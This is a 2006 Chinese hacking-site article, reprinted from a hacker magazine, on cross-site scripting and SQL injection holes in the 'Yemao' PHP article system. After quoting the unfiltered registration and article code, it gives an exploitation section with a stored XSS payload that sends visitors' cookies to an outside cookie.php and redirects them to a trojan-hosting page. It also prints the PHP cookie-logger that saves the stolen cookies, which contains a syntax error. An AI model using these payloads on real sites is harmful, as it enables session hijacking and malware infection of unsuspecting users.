黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 脚本入侵 >> 文章正文
[推荐]夜猫文章系统的跨站及注入漏洞
      ★★★★★
夜猫文章系统的跨站及注入漏洞
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-10-16

文章已发表于<<黑客x档案>>2006年第一期
  跨站漏洞:夜猫文章系统的代码量不是很大,那我们就从最基本的开始吧,打开注册页面register.php看到如下代码if ($_POST[action] == "adduser"):

?>

<br><br><br><center><table cellpadding=4 cellspacing=1 border=0 width=70%>
<tr><td bgcolor=#878787 align=center>
<font color=white>用户注册登记</font>
</td></tr>
<tr><td bgcolor=#efefef>

<?
  $birthday = $b_year."-".$b_month."-".$b_day;
register($setting[user_reg_usergroupid],$_POST[username],$_POST[password],$_POST[email],$_POST[sex],$_POST[birthday],$_POST[homepage],$_POST[icq],$_POST[oicq],$_POST[race],$_POST[signature],$_POST[ipaddress],$_POST[realname],$_POST[realname1],$_POST[organization],$_POST[organization1],$_POST[country],$_POST[country1],$_POST[province],$_POST[province1],$_POST[city],$_POST[city1],$_POST[address],$_POST[address1],$_POST[zip],$_POST[phone],$_POST[fax],$_POST[idnumber],$_POST[referrerid]);
?>

是用一个专门的函数register()来进行提交,大概看了一下提交的变量,第一个user_reg_usergroupid好象有点名堂可惜不是我们提交的,而且我们也不能伪造,那我们就看看这个注册函数怎么定义的,打开function.php看到如下代码(代码太长这里只给出关键的语句):

$sql = "INSERT INTO $ymcity_user_table (usergroupid,username,password,email,sex,birthday,homepage,icq,oicq,race,experience,money,signature,joindate,ipaddress,realname,realname1,organization,organization1,country,country1,province,province1,city,city1,address,address1,zip,phone,fax,idnumber,referrerid) VALUES ('$usergroupid','$username','$password','$email','$sex','$birthday','$homepage','$icq','$oicq','$race','$experience','$money','$signature','$timenow','$ipaddress','$realname','$realname1','$organization','$organization1','$country','$country1','$province','$province1','$city','$city1','$address','$address1','$zip','$phone','$fax','$idnumber','$referrerid')";
mysql_db_query($dbname,$sql);

函数直接获取我们提交的变量然后就大大方方的插入到数据库里了,并没有任何想过滤的意思,这样当我们注册资料时,所有提交都会原封不动的写进数据库里,当我们尝试访问注册信息时,如果我们写的是跨站代码,就会被浏览器就会解析掉,漏洞就产生了
--------------------------------------------
  利用方法:<div>标记可以包围任意种类的HTML标记,它会对处于它起始标记到结束标记之间的所有标记起作用,对<script>当然也可以了,我们可以这样写,为了让大家看清楚我把功能分开写
<div align=center><script>windows.open('http://www.hackerxfiles.com/cookie.php?'+document.cookie);</script>
<script>alert('X档案的地盘!');self.location='http://www.hackerxfiles.com/muma.htm/';</script></div>其中http://www.hackerxfiles.com/cookie.php是假设我们偷cookie的页面,cookie.php代码如下:<?php
$cookie=getenv("QUERY_STRING");
  if($cookie){
  $cookie=urldecode($cookie);}
  $fp=@fopen("xY7.txt","a+");
  @fwrite($fp,$cookie;"\n");
  @fclose($fp);
?>这样我们偷的cookie就会写到xY7.txt里了,之后会谈出一个提示框,点确定后就会转到我们假设挂马的页面http://www.hackerxfiles.com/muma.htm了.
--------------------------------------------
  注入漏洞漏洞页面article.php第36行开始,代码如下:
  if ($_GET[articleid] > "0"):
   $sql = "SELECT * FROM $ymcity_article_table WHERE articleid='$_GET[articleid]'";
   $result = mysql_db_query($dbname, $sql);
   $row = mysql_fetch_array($result);
程序并没有过滤articleid这个变量,我们就可以随便注了...-_-

文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
没有相关文章
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886